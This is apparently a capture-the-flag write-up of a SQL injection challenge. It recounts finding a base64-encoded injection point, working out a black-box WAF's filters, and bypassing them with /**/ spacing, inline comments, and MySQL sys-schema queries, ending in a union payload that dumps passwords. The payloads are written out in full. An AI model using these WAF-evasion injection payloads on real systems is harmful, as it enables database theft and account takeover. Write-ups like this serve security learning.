SQL injection with Sys

I spent nearly 6 hours on breaking through the black box waf of this SQL injection challenge.

Find injection point

Again, I learned a lesson when I tried to find the injection point

Never forget to open my f12 to see how Network send request! You might need some surprise!

I spent much time testing injection on the GET parameter such like /video.php?vid=1, but it ran out with no results. When I nearly gave up on SQL injection, I found a surprise in request when I change my profile!

Besides, it also trigger a request to func.js:

function encrypt(s) {
    return btoa("xxxxxx" + s);

function getAbout(user)
    if(window.XMLHttpRequest) {
        ajax = new XMLHttpRequest();
    } else {
        ajax = new ActiveXObject("Microsoft.XMLHTTP");

    ajax.onreadystatechange = function() {
        if (ajax.readyState == 4 && ajax.status == 200) {
            document.getElementById("about").innerHTML = ajax.responseText;
        } else if(ajax.readyState < 4) {
             //do nothing
    var linktoexecute = "about_ajax.php?user=" + encrypt(user);
    ajax.open("GET", linktoexecute, true);

I started to assume that the website use $user in encrypt(user) to SELECT aboutme FROM user WHERE user=$user(Just guess).

Now, I was sure that here was a injection point.

Waf bypass

What was difficult (dirty) was that the waf was black box. I could only figure out its rules by myself before I start to attack. After testing, I found that most of the special characters would not be blocked, such as #, _, (), {}, ><, union select, order by, this was a good news. But the bad news was ;, ,, =, space(this was why I used /**/), and some keywords(schema) were blocked!

After I tested out the waf rules, I could start attack with union based.

  1. btoa("xxxxxxkaibro'/**/order/**/by/**/1#") to check the columns number of table
  2. btoa("xxxxxxkaibro'/**/and/**/1>2/**/union/**/select/**/1#") to make sure where the result of union based would come out
  3. btoa("xxxxxxkaibro'/**/and/**/1>2/**/union/**/select/**/database()#") then get the current database name was cathub_normal_db
  4. btoa("xxxxxxkaibro'/**/and/**/1>2/**/union/**/select/**/group_concat(table_name)/**/from+/*!50000information_schema.tables*/+where+/*!50000table_schema*/+like+'cathub_normal_db'#") to bypass the waf with inline comment -> fail :(

I tried some more tricks like using mix of uppercase,lowercase or used some comments to separate the keyword, then I finally understood the waf should be written with regex (e.g. [schema|blah]) with case insensitive. So, I fell into the second nightmare now!

Engine innodb

If information_schema is blocked, first you should try is innodb~

Innodb is one of the mysql db engine. I could assume that the db was based on innodb. What is more important, after mysql 5.6, there were two interesting tables in system db(mysql).

  1. mysql.innodb_index_stats
  2. mysql.innodb_table_stats

We could use the system tables above to find the tables name related with databases name without information_schema. However, it was blocked by the waf again! (A dirty waf again~) :(

sys schema

After version of 5.7, mysql built up a new system database which was called sys. It provided developers with more options and convenience, including optimization of performance. But at the same while, it also provided attackers with more convenience!



I found this useful view on the mysql manual. The disadvantage of group_concat() was that it had the limit on the length of output, but it was already enough for this challenge. then, I found out a suspicious result from the query, which was SELECT ? FROM Th1s_15_us3r_D8_la.wh4t_th3_fxxk_t4bl3

Final payload: btoa("xxxxxxkaibro'/**/and/**/1>2/**/union/**/select/**/group_concat(password)/**/from/**/Th1s_15_us3r_D8_la.wh4t_th3_fxxk_t4bl3").

After login to the admin account:


Thanks for the designer of the challenge although the waf was really dirty. And I also learned a new thinking path about information_schema.blocking.